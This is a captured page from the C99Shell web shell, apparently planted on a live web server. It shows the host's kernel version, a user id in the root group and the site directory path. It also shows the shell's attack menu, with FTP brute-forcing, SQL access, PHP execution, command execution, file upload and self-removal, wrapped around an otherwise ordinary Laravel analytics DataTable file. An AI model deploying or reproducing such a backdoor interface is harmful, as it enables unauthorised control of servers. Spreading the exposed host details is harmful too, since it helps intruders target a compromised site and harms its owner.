!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/GoogleAnalytics/DataTables/   drwxr-xr-x
Free 26.48 GB of 117.98 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MostVisitedCountryDataTable.php (1.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\GoogleAnalytics\DataTables;

use 
App\DataTables\DataTable;
use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Support\Facades\Log;
use 
Modules\GoogleAnalytics\Services\{
    
GoogleAnalyticsService,
    
OrderBy,
    
Period
};

class 
MostVisitedCountryDataTable extends DataTable
{
    
/**
     * DataTable Ajax
     *
     * @return \Yajra\DataTables\DataTableAbstract
     */
    
public function ajax(): JsonResponse
    
{
        
$mostVisitedCountry $this->query();
        return 
datatables()
            ->
of($mostVisitedCountry)
            ->
addColumn('country', function ($mostVisitedCountry) {
                return 
$mostVisitedCountry['country'];
            })
            ->
addColumn('activeUsers', function ($mostVisitedCountry) {
                return 
$mostVisitedCountry['activeUsers'];
            })
            ->
rawColumns(['country''activeUsers'])
            ->
make(true);
    }

    
/**
     * DataTable Query
     *
     * @return mixed
     */
    
public function query()
    {
        try {
            return (new 
GoogleAnalyticsService)->getReport(Period::years(1), ['activeUsers'], ['country'], 10000, [OrderBy::metric('activeUsers'true)]);
        } catch (
\Throwable $th) {
            
Log::error('This is an error message from most visited country data table. ' $th);
            return [];
        }
    }

    
/**
     * DataTable HTML
     *
     * @return \Yajra\DataTables\Html\Builder
     */
    
public function html()
    {
        return 
$this->builder()
            ->
addColumn(['data' => 'country''name' => 'country''title' => __('Country')])
            ->
addColumn(['data' => 'activeUsers''name' => 'activeUsers''title' => __('Visitors')])
            ->
parameters(dataTableOptions(['order' => [1'DESC']]));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--